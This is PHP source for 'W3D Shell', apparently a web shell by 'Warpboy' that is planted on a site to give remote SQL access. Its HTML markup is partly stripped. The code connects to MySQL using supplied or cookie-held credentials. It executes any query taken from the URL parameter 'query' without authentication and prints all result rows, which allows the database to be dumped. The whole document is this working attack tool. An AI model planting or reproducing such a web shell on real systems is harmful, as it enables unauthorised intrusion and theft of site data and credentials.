W3D Shell // By: Warpboy \\\ SQL Shell';
echo '
W3D SQL Shell |
|
';
echo '
[]Database Info[] |
|
';
echo '
';
//Initial pre-cookie
$con = @mysql_connect($host, $user, $pass);
if (!$con){
//secondary post-cookie
$con1 = @mysql_connect($host, $username, $password);
if(!$con1) {
echo "
Currently not connected.
";
}
}
//Notify user of current connection
if($_REQUEST['change'] && $user != '') {
echo "
Connected to MySQL as user" . " $user";
}
if(!$_REQUEST['change'] && $username != '') {
echo "
Connected to MySQL as user" . " $username";
}
//Database Time
//initial pre-cookie
$db_c = @mysql_select_db($dbn,$con);
if(!$db_c) {
//secondary post-cookie
$db_d = @mysql_select_db($database,$con1);
if(!$db_d) {
if(isset($database) || isset($dbn)) {
echo "
Unable to access database!";
}
}
}
//query function
query();
function query() {
$query = $_GET['query'];
if($query == '') {
echo "
No Query Executed";
}
else {
//Query Time
$query1 = str_replace("\\", " ", $query);
$result = @mysql_query("$query1");
echo "
Query Results:
";
echo "
\n";
$rr = @mysql_num_fields($result);
for($kz=0; $kz<$rr; $kz++)
{
$ee = @mysql_field_name($result,$kz);
echo "$ee | ";
}
echo "
\n";
$vv = true;
while ($line = @mysql_fetch_array($result, MYSQL_ASSOC)) {
if($vv === true){
echo "\n";
$vv = false;
}
else{
echo "
\n";
$vv = true;
}
foreach ($line as $col_value) {
echo "$col_value | \n";
}
echo "
\n";
}
echo "
\n";
@mysql_free_result($result);
}
}
?>